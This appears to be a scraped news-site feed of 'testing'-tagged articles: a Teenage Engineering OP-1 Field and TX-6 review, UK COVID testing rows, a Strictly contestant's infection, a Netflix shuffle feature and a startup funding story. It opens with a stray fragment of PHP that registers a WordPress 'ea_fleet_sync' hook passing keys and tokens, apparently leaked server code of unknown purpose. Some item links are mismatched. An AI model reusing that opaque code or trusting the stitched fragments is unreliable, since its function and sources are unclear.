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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); testing – Brief News https://briefnews.eu Latest World News. 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The federal government’s pandemic border measures — including random testing for vaccinated travellers — could be coming to an end soon. It still might not be soon enough for many travellers and tourism operators.

]]> https://briefnews.eu/the-end-of-random-border-testing-cant-come-soon-enough-for-many-travellers/feed/ 0 Teenage Engineering’s ‘Field’ products are testing customer loyalty https://briefnews.eu/teenage-engineerings-field-products-are-testing-customer-loyalty/ https://briefnews.eu/teenage-engineerings-field-products-are-testing-customer-loyalty/#respond Fri, 02 Sep 2022 18:20:46 +0000 https://briefnews.eu/teenage-engineerings-field-products-are-testing-customer-loyalty/ Ten years ago, Teenage Engineering made a splash with the quirky, “boutique” OP-1 synthesizer. The b-word gets quotes because the OP-1 would go on to be a huge hit, enjoying a 10 year run and several re-stocks along the way. The success of the OP-1 and the equally unique products that followed saw big brands lining up to collaborate in the hope that some of that design magic might do wonders for their own products. Today, Teenage Engineering’s unique style can be found in everything from adorable gaming consoles to living rooms and pant pockets across the globe.

Back here in 2022, the company recently unveiled the sequel to the synth that started it all – and it’s called the OP-1 Field ($ 1,999). The new “Field” line also includes the TX-6 mixer ($ 1,199) and it looks like the company is repositioning itself with a new design aesthetic and… price range. Teenage Engineering has always charged a premium for its genre-bending, playful design but given that the original OP-1 cost around $ 800 at launch and that the OP-1 Field is largely based on it, it’s understandable that some loyal fans are feeling a little… priced out this time around.

Perhaps the bigger question is, will the new Field series offer enough magical music dust and Nordic design delight, to not only justify the expense, but to also keep Teenage Engineering’s unique approach to making music relevant to new and existing artists alike?

@Random Mcranderson (YouTube) – I think what TE missed is the overall negative effect on their reputation this has had.

Introducing the TX-6 and OP-1 Field

Before we can try and understand “Field” and what it means for the company, we should probably get a feel for the latest two products that are dividing fans in comments sections and on forums. We’ll start with the TX-6 as that’s an entirely new product for Teenage Engineering.

In the most simple terms, the TX-6 is a tiny battery-powered mixer and audio interface. Despite its diminutive size it has six stereo inputs, a built-in synth, eight effects, “DJ mode”, an instrument tuner and wireless/Bluetooth MIDI control. For something as portable as a deck of cards, that’s quite impressive. The TX-6 could be your main desktop audio interface by day and the beating heart of your hyper-portable (or not) multi-synth studio by night.

Teenage Engineering's Op-1 Field and TX-6 mixer.
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Unsurprisingly it’s particularly well suited for connecting and mixing smaller studio gear. Not only Teenage Engineering’s own products, but Korg’s Volca range or Roland’s many compact synths and drum machines are also a good fit. Ultimately, anything you can wrangle into a 3.5mm line-level output is fair game here. Anything with either an XLR connection or that requires phantom power is going to be a challenge of course. For outputs there are: main, aux and “cue” (for DJ mode).

@Pretty.mess (Gear Space) If I had enough money to buy one of these, I would probably buy something else. But I do love TE and the built in sequencer and synth looks interesting.

As is often the case with Teenage Engineering products, there are some features that one might not normally expect. On the TX-6 that would be the synth engine that includes drums sounds. Without a MIDI controller you can’t play it chromatically, but it’s unusual to see creative tools like this in most mixers and provides a way to poke out ideas right on the device. The inclusion of Bluetooth MIDI really feels in keeping with the portable form factor and a recent firmware update allowed for recording the mixer’s output directly to USB drives, which means you can lay down tracks without even needing a phone to record into. One might argue some internal storage could have been included for the price, but we presume the density of the hardware doesn’t allow for it (we hope).

The OP-1 Field, on the other hand, is very clearly a successor to the decade-old OP-1. The launch was sold as the new synth being “100 times” better with a list of 100 new features or improvements. In practical terms, the main upgrades seem to be much improved on-board storage, new “tape” modes (more on this later), full stereo signal chain, a new synth engine, a new reverb effect, an improved display, longer battery life and 32-bit float recording.

@Tarekith (OP-Forums) not everything needs to be aimed at the lower end of the market. This is a massive update for an already very capable instrument.

With the Field, the OP-1 has been refreshed to bring it up to date after a decade of user feedback. And this includes squashing some long-held limitations of the original. Most notably, the ability to work on multiple projects on the device without the hassle of backing them up to a PC. Yep, the original OP-1 only had the ability to record one song (or more accurately, one “tape”) at a time. Another big one, particularly for the synth and drum engines, is the introduction of stereo.

To show this off, there’s a new synth engine called “Dimension.” It joins the other 10 that were on the original (which already covered most bases). Dimension is a subtractive/analog-style synth with a variable waveform (it gradually changes from various pulse styles through sawtooth and then noise).It also has a chorus feature for a fuller stereo sound. It does a pretty good job of replicating more analog style sounds as well as lush pads and even some horns and wind instruments.

With so many different synth engines you’re not short of choice, but the OP-1 is sometimes considered as having quite a colder, digital sound. This is true to a degree, but – as with most things on this synth – there are creative ways to get around that if you know where to look.

Teenage Engineering OP-1 Field synthesizer.
James Trew / Engadget

Instead of there being an internal sequencer, Teenage Engineering decided to imitate recording to tape on the OP-1, with just four tracks, including a physical time limitation of six minutes for each track. The analogy is taken seriously with no “undo” or “copy/paste” instead you “lift” tape and you can drop it back elsewhere. There are modern concessions so that it’s not just about making life needlessly hard – instead it’s a very different way of making music that urges you to build songs in a way that most software’s infinite options and endless tracks ironically doesn’t.

But it’s precisely this unusual approach, anachronisms like “tape” and imitating physical limitations in a digital environment that arguably makes Teenage Engineering products stand out. Most electronic music production these days likely happens in software on laptops. As computers became powerful enough to mimic outboard gear, often the only hardware you might see producers using was a MIDI controller for playing software instruments with. In the last decade, at least, there’s been a steady re-emergence of hardware at the center of the workflow. But most don’t employ such a restrictive workflow as the OP-1.

@ellisedwardsx (Reddit) Love it. Everything cool about Op-1 to me but minus the things I didn’t like. I love the new additions.

“It favors those that have playing skills” YouTuber and OP-1 expert Cuckoo told Engadget referring to the OP-1’s live tape recording approach. “Like if you want to be incredibly immediate, and you appreciate that, then it’s for you,” he added.

Cuckoo, like many fans of Teenage Engineering, sees the lack of things like a MIDI sequencer or the ability to add and remove effects at any stage in the creation process as a good thing. A typical DAW lets you move single notes around or change almost anything at any time which “feels” more useful (and it’s how most modern production tools work). The OP-1, for example, is just a lot more committal. Once that idea is recorded to tape, you’re limited in what can be done with it. But for some, that’s what makes it so exciting. Everything you do nudges you forward in the song-making process or, at the very least, avoids you jamming away several hours as you trawl through VST presets as often happens in something like Ableton Live.

“Teenage Engineering, they’re very good at minimizing your options, and in a good way. Like on a computer, everything is possible. But because everything is possible, it’s not like one optimized workflow. You need to find that workflow for yourself. And most people probably don’t create like, a tight workflow.” Cuckoo said.

While this alternative way of working does have its fans, it can almost feel like learning a new language if you’re used to a more conventional DAW+MIDI situation. This will likely mean, at the beginning at least, you’ll almost certainly spend as much time googling for answers as you do actually creating. Before long though, you’ll start noticing the exciting things you can do that your faithful old DAW may never have put in your mind (even if it’s something it can do).

Teenage Engineering OP-1 Field shown close up.
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Take the built-in FM radio on the OP-1, for example, as Cuckoo illustrates. “Sometimes I’ve been performing with an OP-1, and been sampling from the FM radio, chopping up a [drum] kit, making a song, making an improvisation in like, maybe seven minutes or so?” Making a song based on sampling the radio in under 10 minutes is not something most gear inspires you to do.

Most don’t have an FM radio to be fair.

You can also use that radio in other, weird creative ways. You could use it to modulate an LFO, for example (so the song on the radio is controlling a filter or other parameter). Or you can create synth sounds using a random FM sample looped and twisted in creative ways. You can also broadcast over FM (albeit incredibly short distances), which works perfectly with Teenage Engineering’s OB-4 speaker, which also has an FM receiver.

@finc (Reddit) But what is a tiny low powered FM transmitter for?

This is really where Teenage Engineering excels: adding playful touches that open creative opportunities you might not find elsewhere. Along with the FM radio, the OP-1 Field has a gyroscope that can also be used as a modulator, which makes it exciting for live performances.

And while MIDI Bluetooth LE is becoming more common, it makes so much sense in the portable form-factor of both the TX-6 and the OP-1 Field. Using the TX-6 wirelessly with the OP-1 Field was easy to setup and felt very natural. In fact they both play nice with iOS natively too, so if you have a suite of mobile apps you enjoy using already, you can carve out quite a capable mobile studio with a good mix of hardware and software alike.

Using the OP-1 Field together with the TX-6 does feel decadent. The 3.5mm inputs on the mixer naturally makes you think twice about what you might plug into it. I could plug a full-size synth into it, or maybe something like the MPC Live II, but this would also be a bit bizarre. A relatively comprehensive mixer it might be, but its size begs you to, well, take it outside we suppose?

“I think ‘Field’ leads my mind to think about field recordings and to be out in the field, work outside of the office… music that is portable. And I think it’s very obvious especially if you look at the TX-6 mixer […] this thing is so incredibly well designed. And it’s hard to convince people that get angry when they see the price tag that how incredibly well engineered it is.” Cuckoo said.

@Brokener Than (YouTube) The personal aspect of buying the OP-1 and what you get out of it is really the only justification you need to overpay for an instrument.

But if portability is the key behind the “Field” moniker, Teenage Engineering has to convince people to part with thousands of dollars when there are apps and even mixers that can combine to do something similar for a fraction of the price.

“A lot of people say, well, ‘you can do all of this with Ableton Live and a computer that costs half the price!’ But it’s not the point. It’s, I think, if the result is all that counts, the end product you can do a lot of stuff with an iPad, and some apps are free even. The result is not everything, it’s also mastering a device. Like, playing this live is a joy.” Cuckoo said.

Teenage Engineering OP-1 Field and TX-6
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Take a look around on YouTube at who is actually using the OP-1 or the TX-6. If you look (and listen) long enough you’ll maybe start to see that there has maybe long been a corner of the music making world that doesn’t feel at home with the pads of an MPC, or the endless expandability of Ableton Live. A group that doesn’t want to get pulled into the world of modular synthesis or circuit bending. People that have a fondness for alternative methods but with an appreciation for well-designed hardware. As long as they have the means.

It’s hard not to get sucked into the OP-1 Field. I personally struggled with the workflow initially, but I find it curious. Something tells me that if I stick with it and break my old MIDI/DAW habits, great rewards await. The TX-6 mixer on the other hand is a harder sell while still somehow incredibly appealing. Especially if you are already flush with portable gear, it makes a lot more sense. Perhaps the important question is: What is next in the Field series. An OP-Z Field? Some high-end Pocket Operators? Something completely different? Whatever it is, it could be the company’s most crucial device yet, or what ultimately alienates the company’s loyal fan base.

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Following the news that travellers into the UK will now be required to show a negative COVID-19 test result as the Government tries to halt the spread of coronavirus, Transport Secretary Grant Shapps joined Ben Shephard and Kate Garraway to discuss all about the new strategy. Those entering the country will also be required to self-isolate for 10 days upon their arrival, but the new measures left the GMB pair baffled as to why they were being introduced now as opposed to when the outbreak first started. And just a few moments into the ITV debate, things took a tense turn.

Just moments after Mr Shapps joined Ben and Kate via video link, the GMB pair had one topic of discussion on their minds.

“One of the things that you’re announcing today is that people travelling into the UK finally need to have a negative COVID test.

‘Why has it taken 10 months to put this into place?” Ben hastily put to the Transport Secretary, referring to the fact that testing at borders has now been implemented.

Defending the Government’s stance, Shapps explained: “We’re specifically bringing it in now because there are things like the variants and the mutations of the virus, not the Kent one as there’s no reason to think the vaccine won’t work with that-“

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However, Ben was keen to make clear his view that testing should have been in place from the beginning of the pandemic, interrupting: “Could we not have put it in for the original virus regardless of variants?”

Shapps again hit back: “It’s not the case that nothing’s been happening, what we’ve had is the complete quarantine so, just to explain-“

But this time it was Kate’s turn to interject and cut off Mr Shapps: “I don’t think Ben said there’s been nothing happening.”

She added: “He was just wondering why. Because you said when you announced it you wanted to take decisive action.

But the debate was far from over as Kate hit back once more: “I know but look, look.

“Sorry, Mr Shapps, quarantine as we know is very hard to enforce. You’re having to rely an awful lot on trust and that;’s been lots of problems with self-isolation and the spread of it anyway.

“If someone gets off a plane testing negative at that moment, you know they haven’t got COVID – and that’s a very good start.”

Mr Shapps was quick to correct Kate, however, explaining: “Unfortunately, that’s not true. 

“That’s one of the things which is difficult to get across. It sounds logical what you said – actually that’s not what it (the test) shows you, 

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]]> https://briefnews.eu/gmbs-ben-and-kate-erupt-at-shapps-in-fiery-travel-testing-row-why-wait-10-months/feed/ 0 Strictly suffers huge setback as HRVY breaks silence on testing positive for coronavirus https://briefnews.eu/strictly-suffers-huge-setback-as-hrvy-breaks-silence-on-testing-positive-for-coronavirus/ https://briefnews.eu/strictly-suffers-huge-setback-as-hrvy-breaks-silence-on-testing-positive-for-coronavirus/#respond Fri, 02 Oct 2020 03:44:09 +0000 https://briefnews.eu/strictly-suffers-huge-setback-as-hrvy-breaks-silence-on-testing-positive-for-coronavirus/

Strictly Come Dancing has suffered its first setback after contestant HRVY revealed he has tested positive for coronavirus, which was also confirmed by a BBC spokesperson. The 21-year-old singer broke the news that he had contracted the dreaded illness on Thursday night despite showing no symptoms, and has now gone into isolation.

Taking to Twitter, he admitted he was “already super bored”.

He wrote: “Hi, wasn’t gonna worry anyone and say anything but now the story’s out, I have coronavirus, I’m all good, no symptoms, just isolating for the next 10 days. Already super bored so prepare yourselves for my Tik toks.”(sic)

The YouTube star, whose real name is Harvey Cantwell, has been in contact with other members of cast and crew while promoting the show alongside fellow contestants Jason Bell, Maisie Smith and Clara Amfo, who are now also being tested.

He is said to be quarantining until 8 October, just four days before the pairings take place via video link.

If he does not recover in time, he will be forced to withdraw from the competition.

READ MORE: Strictly Come Dancing: Nicola Adams’ partner ‘unveiled’

A spokesperson for Strictly Come Dancing said: “We can confirm that a member of the Strictly team has tested positive for coronavirus and they are now self-isolating at home following the latest government guidelines.

“We have rigorous protocols in place to manage Covid-19 as the safety of all those involved in the production is paramount.”

Speaking to The Sun, a source said: “This is the last thing Strictly wanted.

“They’ve been jumping through hoops since day one to make sure everything is done safely and with as minimal risk to the cast and crew as possible.

“But with just ten days until the celebrities are introduced to their partners, this is the worst-case scenario.”

The cast face twice weekly tests, with the first reportedly taking place on Monday earlier this week, when HRVY received the bad news.

The set will be deep cleaned on a daily basis, with everyone entering the studio adhering to the strict social distancing rules and a self-declaration form will need to be signed by everyone stating they are COVID-19 free.

In regards to hair and makeup, James revealed each couple will be assigned their own artists to avoid mixing with too many people.

It all sounds incredibly complicated, but she reassured that the plan will work.

This year’s Strictly isn’t going to be like anything we’ve seen in revise series, and BBC entertainment controller Kate Phillips, admitted that it has been the “toughest show to get going”.

“As I’m sure you all agree, Strictly is the toughest show to get going under the current climate, but I cannot tell you how impressed we’ve been with the work BBC Studios have been doing,” she told The Mirror.

“Not just to make sure that it is safe for everyone taking part in the show but also the inventiveness that we’ve seen. As challenges have emerged, new ideas have emerged and it really is a case of necessity is the mother of all invention.”

Strictly Come Dancing returns in October on BBC One.

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]]> https://briefnews.eu/strictly-suffers-huge-setback-as-hrvy-breaks-silence-on-testing-positive-for-coronavirus/feed/ 0 ‘Unfair to the word shambles!’ Andrew Neil rants over UK’s ‘unbelievable’ testing failure https://briefnews.eu/unfair-to-the-word-shambles-andrew-neil-rants-over-uks-unbelievable-testing-failure/ https://briefnews.eu/unfair-to-the-word-shambles-andrew-neil-rants-over-uks-unbelievable-testing-failure/#respond Wed, 09 Sep 2020 12:46:04 +0000 https://briefnews.eu/unfair-to-the-word-shambles-andrew-neil-rants-over-uks-unbelievable-testing-failure/

He blasted: “We have one of the most sophisticated health systems in the world, yet we learned this week that we cannot continue testing because we have ran out of laboratory capacity.

“I find that unbelievable.”

The BBC host added: “The whole point of this operation was that we would be able to test everybody and everybody regularly.”

Speaking from his home in the south of France, Mr Neil claimed he could drive to a testing centre, get tested and receive his results in a matter of 10 minutes, adding: “We’re nowhere near that in Britain.”

Matt Hancock said there had been an increase in people seeking tests when they have not got symptoms of COVID-19.

One school sent a whole year group for tests, which is “not appropriate”, he added.

READ MORE: Pandemic has delayed reforms to social care system says Hancock

Mr Hancock also described how some people who were going on holiday had sought to get tests, which is “not what the testing system is here for”.

People seeking unnecessary tests meant that it was harder for those who needed them to be tested, he added.

Many people who tried to access a test on Wednesday morning were met with the error message: “This service is currently very busy. More tests should be available later. If you cannot book a test now, or the location or time are not convenient, try again in a few hours. Warning: Do not call the helplines – you will not be able to get a test this way.”

The free tests are available to people with symptoms of coronavirus – a fever, new and continuous cough or a loss or change in sense of taste or smell – and for some others such as those who have been instructed to do so by a doctor or local council and some essential workers.

When asked whether the test system is failing, Mr Hancock told Sky News: “I completely reject that accusation. In fact, quite the contrary. Firstly, we have the biggest testing system per head of population of all the major countries in Europe and we built it essentially from scratch.

“Right now, we have the highest capacity for testing that we’ve ever had – increased compared to last week.

“And that testing means that we can find these cases, and therefore help keep the virus under control with the contact tracing system as well.

“However, in the last couple of weeks we have seen an increase in demand, including an increase in demand for people who are not eligible for tests, and people who don’t have symptoms.

“You’re eligible for a test if you have symptoms of coronavirus, or if you have a very specific reason otherwise.

“And we have seen an increase of about 25% of people who are coming forward that don’t have symptoms and aren’t eligible. (They) don’t have a reason for it.

“At the moment, the system is really very straightforward because we wanted it to be easy for people with symptoms to get a test.

“But the message is also clear that if you’re not eligible for a test – if you don’t have symptoms or you haven’t been asked to get a test, specifically by clinician or by local authority – then you shouldn’t be coming forward to get a test, because it makes it harder for people who really need them to get those tests.

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He said that in some high-risk circumstances, such as in care homes, there are tests for asymptomatic people.

“But if you’re otherwise asymptomatic then there is no reason to get a test,” the minister added.

“We’ve had stories of schools sending a whole year group to go and get a test, and that is not appropriate. What is appropriate is if you have symptoms and get a test.”

Mr Hancock told BBC Breakfast: “I’ve even heard stories of people saying, ‘I’m going on holiday next week, therefore I’m going to get a test’. No – that is not what the testing system is there for.

“We’ve got to be firmer, I’m afraid, with the rules around eligibility for testing.”

The Government’s testing system in England has been heavily criticised, with Labour calling it a “fiasco” on Tuesday.

This week the Health Secretary pledged that no-one would be instructed to drive more than 75 miles for a test.

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]]> https://briefnews.eu/unfair-to-the-word-shambles-andrew-neil-rants-over-uks-unbelievable-testing-failure/feed/ 0 Netflix Testing a Shuffle Button That Plays Random TV Shows and Movies https://briefnews.eu/netflix-testing-a-shuffle-button-that-plays-random-tv-shows-and-movies/ https://briefnews.eu/netflix-testing-a-shuffle-button-that-plays-random-tv-shows-and-movies/#respond Wed, 19 Aug 2020 07:44:04 +0000 https://briefnews.eu/netflix-testing-a-shuffle-button-that-plays-random-tv-shows-and-movies/

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Having trouble deciding what to watch on Netflix? Well, now there’s a button for that.

The streamer is rolling out a new “Shuffle Play” button on smart TVs equipped with the Netflix app, according to our sister site Variety. When pressed, the button will start a random movie or TV show that corresponds to the user’s recommendations or are similar to titles the user has watched in the past. The button can be found either underneath the profile row in the startup screen, on the home screen of a user’s profile or on the TV menu sidebar.

“The purpose of the test is to make it easier for members to find something to watch,” a Netflix spokesperson tells Variety, adding that the streamer aims to roll out a permanent “shuffle” feature to all users at some point: “The hope is to absolutely productize something.”

Last year, Netflix tested a “Random Episode” button that allowed users to choose to watch a random episode of their favorite TV shows, rather than having to choose a specific episode manually. The button was only available to Android users, however, and still hasn’t been rolled out to all Netflix users.

Would you roll the dice and hit “Shuffle Play” to let Netflix pick your next movie or TV show? Hit the comments and share your thoughts.

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]]> https://briefnews.eu/netflix-testing-a-shuffle-button-that-plays-random-tv-shows-and-movies/feed/ 0 The Bold and the Beautiful Pauses Production After One Day Back at Work to Expand Coronavirus Testing https://briefnews.eu/the-bold-and-the-beautiful-pauses-production-after-one-day-back-at-work-to-expand-coronavirus-testing/ https://briefnews.eu/the-bold-and-the-beautiful-pauses-production-after-one-day-back-at-work-to-expand-coronavirus-testing/#respond Thu, 18 Jun 2020 02:34:09 +0000 https://briefnews.eu/the-bold-and-the-beautiful-pauses-production-after-one-day-back-at-work-to-expand-coronavirus-testing/

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The first U.S. TV show to resume production after the industry-wide coronavirus shutdown is hitting pause again.

The Bold and the Beautiful has stopped production after just one day back at work to expand its coronavirus testing, according to our sister site Variety. The CBS daytime soap now aims to return to shooting next Tuesday, June 23.

“We have paused very briefly to modify our testing protocol to better accommodate the large volume of testing needed,” producers Bell-Phillip Television said in a statement. “Safety remains our top priority as we continue to move forward with the production of The Bold and the Beautiful. B&B filmed with cast and crew today, and it was a successful first day back at work.”

The soap was the first scripted series to get back to work here in the U.S. following a three-month shutdown due to the global coronavirus pandemic, which has claimed nearly 120,000 American lives so far. “The health and safety of our cast and crew are of foremost importance to us,” a B&B rep told TVLine at the time. “We will be following all protocols set forth by the State, City, Television City, and the various guilds.”

Before the pause, new episodes of The Bold and the Beautiful were expected to start airing on CBS next month. The long-running soap ran out of new episodes in April and has been running reruns ever since. CBS renewed the series in May for two more years, through the 2021-22 TV season.

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]]> https://briefnews.eu/the-bold-and-the-beautiful-pauses-production-after-one-day-back-at-work-to-expand-coronavirus-testing/feed/ 0 How I went from testing a fancy new graphics card to shouting at Windows 10 https://briefnews.eu/how-i-went-from-testing-a-fancy-new-graphics-card-to-shouting-at-windows-10/ https://briefnews.eu/how-i-went-from-testing-a-fancy-new-graphics-card-to-shouting-at-windows-10/#respond Sat, 24 Nov 2018 19:48:47 +0000 http://briefnews.eu/how-i-went-from-testing-a-fancy-new-graphics-card-to-shouting-at-windows-10/
The below article has nothing to do with a Surface Pro. But after my headaches, I wanted to smash <em>any</em> Windows logo with a mallet.

Enlarge / The below article has nothing to do with a Surface Pro. But after my headaches, I wanted to smash any Windows logo with a mallet. (credit: Lora Machkovech)

Sometimes at Ars Technica, a staffer has to call in “sick” for reasons other than illness, emergency, or hangover. Those are all poor working states, but I would argue that one is even worse: a computer meltdown.

Everyone on staff has suffered at least one of these (or its awful cousin, the ISP outage) and been left distracted or set back to some extent. But when the crash in question happens to the thing you’re supposed to test? That’s a problem.

And when it happens because you used official Microsoft downloads? Oh, that’s an Ars article.

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]]> https://briefnews.eu/tsa-reportedly-will-begin-testing-long-distance-body-scanners/feed/ 0 This ex-Googler’s mobile app testing startup is now worth $500 million after only three years https://briefnews.eu/this-ex-googlers-mobile-app-testing-startup-is-now-worth-500-million-after-only-three-years/ https://briefnews.eu/this-ex-googlers-mobile-app-testing-startup-is-now-worth-500-million-after-only-three-years/#respond Mon, 05 Nov 2018 05:00:56 +0000 http://briefnews.eu/this-ex-googlers-mobile-app-testing-startup-is-now-worth-500-million-after-only-three-years/ Manish Lachwani CEO HeadSpin 2HeadSpin

  • HeadSpin, a startup that creates a platform to help developers more easily test apps and sites on mobile devices, has raised $ 20 million in Series B financing.
  • This three-year-old startup is now worth $ 500 million.
  • Co-founder and CEO Manish Lachwani drew on his experiences from Google, Zynga and other companies to solve the difficulties he faced when testing mobile apps. 

Over three-fourths of Americans own smartphones, which means that it’s incredibly important for tech companies to nail their mobile apps. But testing those apps to make sure they’re working correctly can be a hassle.

HeadSpin, a Silicon Valley startup, allows developers to easily test, debug and monitor mobile apps and sites in real-time on actual devices. Oftentimes, developers use a simulator on their computers to test these apps, but even then, there might be unexpected bugs on the actual mobile app when used by real customers on a real phone.

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